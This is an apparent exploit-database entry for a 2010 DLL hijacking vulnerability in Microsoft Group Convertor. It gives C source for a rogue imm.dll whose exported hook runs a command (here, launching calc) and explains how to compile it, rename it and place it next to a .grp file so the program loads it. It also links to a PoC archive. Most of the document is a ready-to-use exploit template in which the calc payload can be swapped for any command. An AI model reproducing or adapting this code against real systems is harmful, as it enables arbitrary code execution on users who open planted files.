Microsoft Group Convertor – ‘imm.dll’ DLL Hijacking
/* # Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles, Dinesh Arora Exploit Title: Microsoft Group Convertor DLL Hijacking (imm.dll) Date: 25/08/2010 Author: Beenu Arora Tested on: Windows XP SP3 Vulnerable extensions: grp Compile and rename to imm.dll, create a file in the same dir with one of the following extensions: .grp */ #include <windows.h> #define DLLIMPORT __declspec (dllexport) DLLIMPORT void hook_startup() { evil(); } int evil() { WinExec("calc", 0); exit(0); return 0; } // POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14758.zip |